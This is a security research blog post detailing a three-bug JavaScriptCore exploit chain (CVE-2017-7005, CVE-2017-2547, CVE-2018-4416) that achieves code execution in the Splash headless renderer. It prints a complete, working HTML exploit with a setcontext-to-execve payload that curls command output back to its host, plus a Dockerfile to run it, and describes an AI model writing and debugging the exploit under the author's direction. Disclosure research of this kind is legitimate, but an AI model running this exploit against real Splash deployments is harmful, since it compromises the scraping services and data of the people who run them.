splash

My previous post walked through an RCE for PhantomJS via CVE-2014-1303, a heap overflow in a 2013-era engine. The premise: headless rendering services embed abandoned browser engines, and a memory-corruption bug in one of those engines turns "render this HTML" into code execution in the render process. The payload is ordinary JavaScript in the submitted document.

This post applies the same premise to a harder target, a newer but equally abandoned engine, protected by a mitigation the PhantomJS engine lacked. The exploit is a single HTML file that produces code execution on a stock deployment, with no external coordination, under full ASLR. The PhantomJS exploit was a single bug; this one is a chain of three separate un-backported JavaScriptCore vulnerabilities, each supplying a primitive the others cannot. As before, I worked through this with Claude (Opus).

The target

Splash is a scriptable headless-rendering service: hand it a URL or HTML and it returns HTML, a PNG, or a HAR. It's the standard JavaScript-rendering component for Scrapy, the most popular Python scraping framework (63,000 GitHub stars), which reaches it through the scrapy-splash plugin (3,200 stars). Splash ships as the scrapinghub/splash Docker image, which has been pulled nearly 80 million times (79.6M; ~4,200 GitHub stars). Development has effectively stopped; the last commit is from mid-2024. (Figures as of July 2026.)

The Splash web UI on port 8050: a render form and a Lua script editor calling splash:go, splash:html, splash:png, and splash:har
The stock Splash UI on port 8050. "Execute custom JavaScript in page context" is the attack surface: whatever page you hand it is rendered by the embedded QtWebKit engine.

Splash renders with QtWebKit 5.212.0 (the annulen/webkit fork), which identifies as WebKit 602.1, Safari 10.0, September 2016. It is three years newer than PhantomJS's engine and just as unmaintained; a pinned image runs the same code indefinitely. The stock container confirms it:

Qt 5.14.1, PyQt 5.14.2, WebKit 602.1, Chromium 77.0.3865.129
Server listening on http://0.0.0.0:8050

Two properties of this build shape the whole exploit, and both differ from PhantomJS:

  • JavaScriptCore has the full modern JIT. Hot JavaScript is recompiled to native code through progressively more aggressive optimizing tiers (the DFG, then FTL, which is built on the B3 backend). That is a large bug surface, but it also brings JIT hardening.
  • The JIT pages are W^X.

This chain relies on a few standard primitives and mitigations:

  • Arbitrary read/write: reading or writing any byte of the render process's memory from JavaScript. Most of the exploit exists to reach this.
  • fakeobj and addrof: fakeobj fabricates a JavaScript object at an address you choose; addrof leaks the address of a real object back as a number. They are the two halves of turning a type-confusion bug into read/write.
  • ASLR (address space layout randomization): the OS loads the binary, its libraries, the heap, and the stack at a random base address on every run, so no absolute address is known ahead of time. Defeating it means leaking a real address at runtime.
  • W^X (write-xor-execute): a memory page is either writable or executable, never both, so you cannot write machine code into memory and jump to it. Defeating it means reusing code that is already marked executable.

The chain

The three vulnerabilities, and the primitive each contributes:

Bug Primitive Role in the chain
CVE-2017-7005 fakeobj Construct an object at a chosen address → arbitrary read/write. Structurally gives no addrof.
CVE-2017-2547 numeric OOB read Supplies the addrof/leak that 7005 lacks: a real pointer, in JavaScript, as a number.
CVE-2018-4416 heap-pointer leak Leaks a controlled buffer's address; only usable once 2547's addrof turns it into a number.
info leaks CVE-2017-2547 addrof (OOB read) CVE-2018-4416 spray-base leak CVE-2017-7005 fakeobj (no addrof) arbitrary read/write execve data-only, W^X addrof spray base libc leak, setcontext
The whole chain end to end: the two leak bugs (2547 and 4416) supply the addresses the fakeobj (7005) needs, together giving arbitrary read/write, which the libc leak and setcontext forge turn into code execution under W^X.

Two more pieces sit on top: a libc leak walked out of libQt5WebKit's GOT (the Global Offset Table, a library's table of resolved addresses for the external functions it imports), and a data-only setcontext payload to get past W^X without writing executable memory. The sections below build the chain in the order it was developed: CVE-2017-7005 and the read/write first, then the leak bugs.

Bug selection

WebKit 602 is a well-documented era with many public JSC exploits, so the obvious approach is to reuse one. Each candidate was tested against this specific build rather than upstream Safari, because a fork's patch level is not the fork's branch point:

  • CVE-2016-4622 (saelo's Phrack Array.prototype.slice OOB, the canonical JSC exploit): patched. addrof({}) returns NaN.
  • qwertyoruiopz's peek_stack (uninitialized arguments.length via apply): patched. arguments[0xFF00] returns undefined.
  • Array-runtime OOB bugs (concat/slice/splice overflows): patched. The fork source carries the Checked<> overflow guards and the "having a bad time" hardening.

The bug: CVE-2017-7005

CVE-2017-7005 is lokihardt's Project Zero issue #1208: a type confusion via JSGlobalObject::haveABadTime(), fixed in Safari 10.1.1 (May 2017), after the 602.1 branch point, and not backported.

Defining an indexed getter on one realm's Array.prototype (a realm is an isolated JavaScript global environment, such as a separate iframe's) puts that realm's global object into the "has a bad time" state, converting its arrays to ArrayWithSlowPutArrayStorage. Calling that realm's Array.prototype.slice on a normal ArrayWithDouble from another realm reaches JSArray::fastSlice, where the memcpy fast path is selected from the source array (doubles) while the result array's structure comes from the bad-time realm (values read as JSValues). Raw double bits are copied into an array that interprets them as object pointers.

This gives a fakeobj primitive: a controlled double becomes a JSObject pointer:

function fakeobj(addr) {
var lo = addr % 0x100000000, hi = (addr - lo) / 0x100000000;
var a = [0, 4.243991582e-314, u2d(lo, hi), 3.5e-323, 3.5e-323];
var f = document.body.appendChild(document.createElement("iframe"));
f.contentWindow.Array.prototype.__defineGetter__(100, function () { return 1; });
var sub = f.contentWindow.Array.prototype.slice.call(a, 0, 4);
f.remove();
return sub[0]; // a JS object whose address is `addr`
}

Verified against the fastSlice source, this bug yields fakeobj only, not addrof. The result array is always forced to SlowPutArrayStorage, so double→object works but object→double does not. Every public weaponization pairs it with a separate info-leak for the seed address. (It is sometimes conflated with CVE-2016-4622, which preserves the indexing type and does give addrof directly, a different bug.)

fakeobj to arbitrary read/write

With fakeobj and one known address, the read/write primitive is the standard saelo container technique. Spray the heap with a large Float64Array whose backing store is fully controlled from JavaScript (heap spraying: allocating a big buffer you control so its bytes land at a predictable place in memory), and forge a Uint32Array header on top of it:

var big = new Float64Array(0x2000000);      // 256 MB, big[i] read/writes spray byte i*8
// lay a JSCell header + m_vector + length at big[H..], then:
big[H] = u2d(sid, 0x01182600); // structureID | type=0x26 | flags=0x18 | cell=1
var fake = fakeobj(base + H*8); // fake Uint32Array over the spray

The one build-specific constant is the JSCell header: type=0x26, flags=0x18 for a Uint32Array here, plus the live structureID. Point the fake array's m_vector at any address, read or write fake[i], and restore the vector before allocating again. A GC that scans the fake array while its vector points outside a real buffer will crash.

Float64Array spray (256 MB, controlled) fake Uint32Array +0x00structureID | 0x01182600 +0x08m_vector +0x10length TARGET any address
A Uint32Array header is forged inside the fully controlled spray; fakeobj aims a fake cell at it, and rewriting the fake array's m_vector gives read/write of any address, restored before each allocation so the GC never scans it off a real buffer.

Pointing the fake array at libc and reading the ELF magic confirms the primitive:

ARB-READ lib w0=0x464c457f w1=0x00010102   (\x7fELF, 64-bit, LE)

This gives arbitrary read/write of the render process. On PhantomJS that completed the exploit. WebKit 602 has W^X, which the rest of the exploit has to work around.

W^X

The PhantomJS approach (locate the RWX JIT pages, write a NOP sled and shellcode, trigger the JIT) fails immediately. Reads of the JIT pages succeed (the compiled prologue of a function is readable), but writes fault.

WebKit 602 protects JIT pages with Memory Protection Keys (MPK/PKRU). The pages are rwxp in /proc/maps, but writes are disabled outside the JIT compiler; the engine enables the protection key only while emitting code, so a store from the fake array faults. (file:// XHR to /proc/self/maps, another PhantomJS convenience, is also blocked in Splash.)

A data-only payload via setcontext

The usual answer under W^X is a ROP chain (return-oriented programming: stitching together short fragments of code that already exist in the process, since you cannot inject your own). The payload is expressed entirely in CPU registers, so briefly: on x86-64, rip is the instruction pointer (the address the CPU executes next), rsp is the stack pointer, and rdi, rsi, and rdx hold the first three arguments to a function call. The register-restore tail of glibc's setcontext is a single gadget (a short instruction sequence ending in ret):

mov rsp,[rdi+0xa0]   mov rbp,[rdi+0x78]   mov r12,[rdi+0x48] ...
mov rcx,[rdi+0xa8] ; push rcx ; (this is rip)
mov rsi,[rdi+0x70] mov rdx,[rdi+0x88] mov rdi,[rdi+0x68]
xor eax,eax ; ret ; ret -> the pushed rip

setcontext restores rsp, rip, rdi, rsi, and rdx from a ucontext struct pointed to by rdi. If this gadget is called with rdi pointing at controlled memory, no ROP chain is needed: a fake ucontext holding the register values for execve("/bin/sh", argv, envp) gives execution directly.

Forging methodTable through GC

The garbage collector calls a function pointer with rdi set to the cell being marked. During marking, JSC dispatches on each cell via cell->methodTable()->visitChildren(cell, ...), a virtual call with rdi = cell, and methodTable() is derived from the cell's MarkedBlock header:

block = cell & ~0x3fff
table = [[[block+0xe8]+0x4630]+0xc0]
structure = table[cell->structureID]
methodTable = structure->classInfo + 0x18

The fake object lives inside the 256 MB spray, which is controlled byte-for-byte, so block = fakeobj & ~0x3fff lands in the spray. That allows forging the entire chain (a fake VM, StructureIDTable, Structure, ClassInfo, and MethodTable filled with the setcontext gadget), so any GC that marks the fake object calls setcontext(rdi = fake object), and from there execve.

fake cell = ucontext MarkedBlock → VM [block+0xe8] → fake VM VM self-ref @ +0x4630 fake table [VM+0xc0] → table Structure → ClassInfo MethodTable = setcontext GC mark → setcontext(rdi = cell) → execve
Both GC dereference paths (methodTable() and speculationFromCell()) are made to land on the same forged table by making the fake VM self-referential at +0x4630. The marking virtual call then runs setcontext(rdi = cell), with the cell doubling as the fake ucontext.

Two intermediate failures:

Code-pointer hijack. The first attempt overwrote a JS function's JIT code pointer, locating the code-pointer slots by scanning the heap for the function's entry address. Overwriting them corrupted unrelated structures (the scan matched coincidental copies of the address inside Structure objects) and crashed in methodTable rather than redirecting.

A second dereference path. With the methodTable forge in place, marking still crashed, now in JSC::speculationFromCell, a separate GC path (value-profile marking) that also dereferences the fake object. It reads the table via [[block+0xe8]+0xc0], without the +0x4630 hop that methodTable uses. Making the fake VM self-referential resolves both:

w(AH+0xe8, fakeVM);
w(fakeVM+0x4630, fakeVM); // methodTable: [VM+0x4630] -> VM -> [VM+0xc0]
w(fakeVM+0xc0, fakeTable); // speculationFromCell: [VM+0xc0] -> table

Both chains then reach the same fake table. A few additional fields that speculationFromCell inspects (a flag byte, the ClassInfo parent-chain terminator) complete it.

Execution

Lay the fake ucontext at the fake object (rdi=/bin/sh, rsi=argv, rdx=envp, rsp=scratch, rip=execve), forge the chain, and trigger a GC by allocating roughly 25 MB:

*** ARBITRARY R/W ESTABLISHED ***
forge complete; triggering GC -> methodTable -> setcontext -> execve
PWNED marker present: YES
id output:
uid=999(splash) gid=999(splash) groups=999(splash)

The exploit ran id in the render process of a stock Splash container. uid=999(splash) is the account Splash runs as; this is compromise of the render process, not a container escape.

Extending the chain: in-page leaks

At this stage the exploit worked but was not self-contained. The memory-corruption primitives (fakeobj, the fake-array R/W, the setcontext forge) were pure JavaScript, but the exploit did not leak its own addresses. It required three build-specific values: the spray's base address, the live Uint32Array structureID, and libc's base. During development these were supplied from a /proc/<pid>/mem harness reading recognizable markers the page had placed.

The obstacle is how JavaScriptCore represents values. It packs every value, numbers and object pointers alike, into a 64-bit slot using NaN-boxing, where a raw pointer is tagged so the engine reads it as an object. A pointer leaked back through the type confusion therefore arrives as an object reference, not a number, and touching it dereferences the address and crashes. Aiming a fake array's backing pointer anywhere useful under ASLR requires one real address as a JavaScript number, and CVE-2017-7005 cannot produce one.

Finding a numeric leak

Most leak candidates did not survive contact with this build:

  • Proxy does not exist in this build, which rules out the Proxy-trap type confusions (CVE-2018-4233 and related) regardless of PoC quality.
  • The 2018–2019 JSC bugs do not reproduce. A source audit initially checked whether their fixes were present in the fork's ChangeLog, which is the wrong test. A bug reported in 2019 whose vulnerable code was introduced after this fork's mid-2016 branch point is simply not there. One wasted test on CVE-2019-8518 (an FTL abstract-interpreter bug) confirmed this; the code postdates the base. The correct check for an old fork is whether the vulnerable code existed at the branch point, not whether a later patch is missing.
  • The array-runtime OOB bugs are patched, as established during bug selection.

The one that worked is CVE-2017-2547, lokihardt's Pwn2Own 2017 bug in DFGIntegerCheckCombiningPhase. When the FTL JIT combines several array bounds checks that share a length, it emits only the upper-bound check for constant indices and drops the lower bound. A negative constant index therefore passes the check and reads before the array. An ArrayWithDouble element read returns the raw eight bytes as an IEEE-754 double with no NaN re-tagging, so a pointer read this way arrives as a number.

Two conditions are required to trigger it: the index must be a constant literal, so the phase folds it, and the function must reach the FTL tier. A plain call loop stays in DFG, which bounds-checks negative indices correctly. A hot loop inside the function forces OSR entry into FTL. Reading oob[-2], the array's first out-of-line property slot (set to the target object), then returns that object's address as a number, giving addrof.

Deriving the three constants

With addrof, the remaining values follow, via one more un-backported bug:

  • Spray base. CVE-2018-4416, a sibling of CVE-2017-7005, leaks a Uint32Array's backing-store pointer as an un-inspectable object. Taking addrof of that object yields a number, so addrof(leak(ctl)) gives the numeric address of a buffer controlled byte-for-byte: the spray base, with no /proc.
  • structureID. This value is not randomized; it is deterministic for a given page and can be hard-coded like any other offset. It was confirmed by reading a real Uint32Array's header back through the R/W primitive: 0x61.
  • libc. With arbitrary read, addrof(Math.sin)+0x18 (its NativeExecutable) → +0x38 (a shared vtable pointer into libQt5WebKit) → minus a fixed offset gives the library base. libc's base is then read from libQt5WebKit's GOT entry for malloc (resolved at load time, always mapped) minus malloc's offset in libc, which is load-order independent, so stable across environments.

Every value the /proc harness supplied is now derived in JavaScript; the setcontext forge is unchanged and simply takes its addresses from the leak. Rendered by a stock Splash container under full ASLR, the exploit now produces its result with nothing supplied from outside:

SPRAYBASE=0x70aec6400000            ← leaked in-page
R/W established
libwk=0x70affd62e000 libc=0x70b00c750000 ← leaked in-page
forge complete; triggering GC
PWNED_PORTABLE marker: PRESENT
id output: uid=999(splash) gid=999(splash) groups=999(splash)

The same file was verified unchanged on two independent deployments (a native x86_64 host and an emulated Docker environment with a different library layout), since the only environment-dependent value, libc's base, is now derived at runtime.

Development required a debugger for reading memory, disassembling methodTable and setcontext, and inspecting register state at the hijacked call. That is unavailable under QEMU user-mode emulation, so the engine-internals work used the container running natively on x86_64. The debugger was only needed during development; the exploit itself runs on a stock container without one.

PoC

The PoC is two files. The Dockerfile serves the exploit, boots Splash, and renders it; the exploit curls the output of id back to the built-in server, so it appears in the container's output as a GET /uid=... line. The bug is non-deterministic (GC timing and StructureID reuse), so it may take more than one run.

docker build --platform linux/amd64 -t splash-rce .
docker run --rm --platform linux/amd64 splash-rce
# ... "GET /uid=999(splash) HTTP/1.1" 404 -
Dockerfile download
# Vulnerable target: scrapinghub/splash (QtWebKit 5.212 / WebKit 602.1).
# docker build --platform linux/amd64 -t splash-rce .
# docker run --rm --platform linux/amd64 splash-rce
# Serves the PoC and renders it; the exploit curls `id` back to the server, so it shows up
# in this container's output as a "GET /uid=999(splash)..." line. It is non-deterministic and may take a few runs.
FROM --platform=linux/amd64 scrapinghub/splash
COPY splash-exploit.html /srv/splash-exploit.html
ENTRYPOINT ["sh","-c","cd /srv && python3 -u -m http.server 8001 --bind 127.0.0.1 & python3 /app/bin/splash >/dev/null 2>&1 & until curl -sf http://127.0.0.1:8050/_ping >/dev/null 2>&1; do sleep 1; done; curl -s 'http://127.0.0.1:8050/render.html?url=http://127.0.0.1:8001/splash-exploit.html&wait=50&timeout=70' >/dev/null; sleep 3"]
splash-exploit.html download
<html><body><script>
// Self-contained RCE for Splash / QtWebKit 5.212 (WebKit 602.1). No network, no /proc.
// addrof = CVE-2017-2547 | fakeobj = CVE-2017-7005 | m_vector leak = CVE-2018-4416.
// Runs as execve("/bin/sh","-c", CMD). Output is curled back to the server that
// served this page (see its access log); edit the `id` to run something else.
var CMD = "curl -s http://" + location.host + "/$(id)";

var _bb=new ArrayBuffer(8),_f=new Float64Array(_bb),_u=new Uint32Array(_bb);
function u2d(lo,hi){_u[0]=lo>>>0;_u[1]=hi>>>0;return _f[0];}
function d2u(d){_f[0]=d;return [_u[0]>>>0,_u[1]>>>0];}
function lo32(a){return (a%0x100000000)>>>0;}
function hi32(a){return Math.floor(a/0x100000000)>>>0;}
function ptrish(v){ if(typeof v!=='number'||v!==v||v===(v|0))return false; var p=d2u(v);
return (p[1]>=0x0001 && p[1]<=0x7fff && p[0]!==0); }
function gc(){ for(var i=0;i<6;i++){ var ab=new ArrayBuffer(1024*1024*10); ab=null; } }
var SID=0x61; // Uint32Array structureID: deterministic per page, not ASLR'd

// ---- addrof (CVE-2017-2547): oob.pa=x, OOB-read a[-2] = &x as a number ----
var dummy={d:1};
var oob=[1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8];
oob.pa=dummy; oob.pb=dummy; oob.pc=dummy; oob.pd=dummy;
var g=new Float64Array(16);
function trig(a){ var acc=0.0; for(var j=0;j<30000;j++){ acc+=a[j&7]; } // hot loop -> OSR into FTL
var hi=a[7]; g[0]=a[-1];g[1]=a[-2];g[2]=a[-3];g[3]=a[-4];g[4]=a[-5];g[5]=a[-6];g[6]=a[-7];g[7]=a[-8];
g[8]=a[-9];g[9]=a[-10];g[10]=a[-11];g[11]=a[-12];g[12]=a[-13];g[13]=a[-14];g[14]=a[-15];g[15]=a[-16];
return acc+hi; }
function warm(n){ for(var w=0;w<n;w++){ trig(oob); } }
(function(){ var vs=[1,2.5,-3,1e100,{},[],"s",null,true,0x1234,3.14,{q:1}]; // poison inferred type -> Top
for(var i=0;i<vs.length;i++){ oob.pa=vs[i]; } oob.pa=dummy; })();
function addrof(x){ oob.pa=x; trig(oob); var v=g[1]; oob.pa=dummy; return v; }
function addrN(x){ var d=addrof(x); return d2u(d)[1]*0x100000000+d2u(d)[0]; }
warm(400);

// ---- fakeobj (CVE-2017-7005) ----
function fakeobj(addr){ var a=[0,4.243991582e-314,u2d(lo32(addr),hi32(addr)),3.5e-323,3.5e-323];
var f=document.body.appendChild(document.createElement('iframe'));
f.contentWindow.Array.prototype.__defineGetter__(100,function(){return 1;});
var sub=f.contentWindow.Array.prototype.slice.call(a,0,4); f.remove(); return sub[0]; }

// ---- m_vector leak (CVE-2018-4416) ----
function opt(obj){ for(var i=0;i<500;i++){} var tmp={a:1}; gc(); tmp.__proto__={};
for(var k in tmp){ tmp.__proto__={}; gc(); obj.__proto__={}; return obj[k]; } }
opt({});

// ---- SPRAYBASE: leak a controlled buffer's data address as a number ----
var ctl=null, CTLBASE=0;
for(var t=0;t<8 && !ctl;t++){ var mem=new Uint32Array(0x400000); var r=opt(mem); warm(150);
var ba=addrof(r); if(ptrish(ba)){ ctl=mem; CTLBASE=d2u(ba)[1]*0x100000000+d2u(ba)[0]; } }

if(ctl){
// ---- forge fake Uint32Array over ctl -> arbitrary R/W ----
var V=CTLBASE+0x100000;
ctl[2]=0;ctl[3]=0; ctl[4]=lo32(V);ctl[5]=hi32(V); ctl[6]=0x10000;ctl[7]=1; ctl[0]=SID; ctl[1]=0x01182600;
var fake=fakeobj(CTLBASE);
function setV(a,len){ ctl[4]=lo32(a); ctl[5]=hi32(a); ctl[6]=(len||0x1000)>>>0; ctl[7]=1; }
function safeV(){ ctl[4]=lo32(V); ctl[5]=hi32(V); ctl[6]=0x10000; ctl[7]=1; }
function rd64(a){ setV(a,0x100); var lo=fake[0]>>>0,hi=fake[1]>>>0; safeV(); return hi*0x100000000+lo; }
function rd32(a){ setV(a,0x100); var v=fake[0]>>>0; safeV(); return v; }

if(fake instanceof Uint32Array){
// ---- leak libc (universal, load-order independent) ----
// libwk base : JSFunction -> +0x18 NativeExecutable -> +0x38 vtable -> -0xa5a490
// libc base : read libwk's malloc GOT slot (resolved to libc) - malloc's libc offset
var libwk=rd64(rd64(addrN(Math.sin)+0x18)+0x38)-0xa5a490;
var libc=rd64(libwk+0x2db6a30)-0x970e0;
// ---- setcontext forge -> GC -> execve("/bin/sh","-c",CMD) ----
if(rd32(libc)===0x464c457f) // sanity: libc base starts with \x7fELF
(function pwn(cmd){
var SETCTX=libc+0x52145, EXECVE=libc+0xe4e90;
function w(off,val){ ctl[off>>2]=lo32(val); ctl[(off>>2)+1]=hi32(val); }
function wstr(off,s){ var b=[]; for(var i=0;i<s.length;i++)b.push(s.charCodeAt(i)&0xff); b.push(0);
while(b.length%8)b.push(0);
for(var i=0;i<b.length;i+=8){ ctl[(off+i)>>2]=(b[i]|(b[i+1]<<8)|(b[i+2]<<16)|(b[i+3]<<24))>>>0;
ctl[(off+i+4)>>2]=(b[i+4]|(b[i+5]<<8)|(b[i+6]<<16)|(b[i+7]<<24))>>>0; } }
function A(off){ return CTLBASE+off; }
var O_VM=0x900000,O_TABLE=0x920000,O_STRUCT=0x930000,O_CI=0x940000;
var O_BINSH=0x950000,O_DASHC=0x950010,O_CMD=0x950020,O_ARGV=0x950200,O_ENVP=0x950300,O_PATH=0x950380,O_STACK=0x970000;
w(0xe8,A(O_VM)); w(O_VM+0x4630,A(O_VM)); w(O_VM+0xc0,A(O_TABLE)); w(0xb0,0);
w(O_TABLE+0,0); w(O_TABLE+0x61*8,A(O_STRUCT)); w(O_STRUCT+0,0); w(O_STRUCT+8,0);
w(O_STRUCT+0x40,A(O_CI)); w(O_CI+0x8,0);
for(var k=0;k<0x40;k++) w(O_CI+0x18+k*8,SETCTX);
wstr(O_BINSH,"/bin/sh"); wstr(O_DASHC,"-c"); wstr(O_CMD,cmd);
wstr(O_PATH,"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
w(O_ARGV+0,A(O_BINSH)); w(O_ARGV+8,A(O_DASHC)); w(O_ARGV+16,A(O_CMD)); w(O_ARGV+24,0);
w(O_ENVP+0,A(O_PATH)); w(O_ENVP+8,0);
w(0x28,0);w(0x30,0);w(0x48,0);w(0x50,0);w(0x58,0);w(0x60,0);w(0x78,0);w(0x80,0);w(0x98,0);
w(0x68,A(O_BINSH)); w(0x70,A(O_ARGV)); w(0x88,A(O_ENVP)); w(0xa0,A(O_STACK)); w(0xa8,EXECVE);
var junk=[]; for(var i=0;i<400;i++){ junk.push(new Uint8Array(0x10000)); } // GC -> setcontext -> execve
})(CMD);
}
}
</script></body></html>

On the collaboration

It would be easy to present this as a model chaining three bugs into an exploit on its own. That is not what happened, and the accurate version is more useful.

The model did the labor. It ground through the bug candidates, wired the primitives together, wrote and debugged the JavaScript, and chased down the buffering and shell-quoting problems in the harness. The strategy and the persistence were mine. Left alone, it treated most walls as the end of the road: when CVE-2019-8518 did not reproduce, when it concluded that a fakeobj-only bug cannot bootstrap itself, when the numeric leak looked blocked, its instinct each time was to declare a structural limit and fall back to the /proc-assisted version that already worked. The self-contained exploit exists because I kept refusing that fallback.

The decisions that mattered were direction, not code: moving to a native x86_64 box so a real debugger was available, insisting the exploit leak its own addresses rather than lean on /proc, and pointing it back at the engine's bug surface after it wanted to stop. Some dead ends were escaped only because I said specifically where to look next. Even the correct research method, checking whether a bug's vulnerable code existed at the fork's 2016 branch point rather than whether a later fix was missing, came after it had already spent a test on the wrong assumption.

The division of labor was real and useful: I chose what to try and would not accept "can't," and the model executed each attempt, read the failure, and did the mechanical work in between. That is not autonomy. A model that quits at the first plausible dead end still needs someone who knows the terrain to keep it moving.

Conclusion

The premise from the PhantomJS post also holds for Splash: a service that renders attacker-controlled HTML through an outdated, unmaintained browser engine can be driven to code execution.

The difference from PhantomJS is the amount of work involved. That exploit used a single heap overflow and wrote shellcode into an executable JIT page. WebKit 602 enforces W^X and ASLR, so neither step is possible here. The exploit instead uses three separate JavaScriptCore bugs to build read/write and leak addresses, plus a data-only setcontext payload that runs a command without writing any executable memory.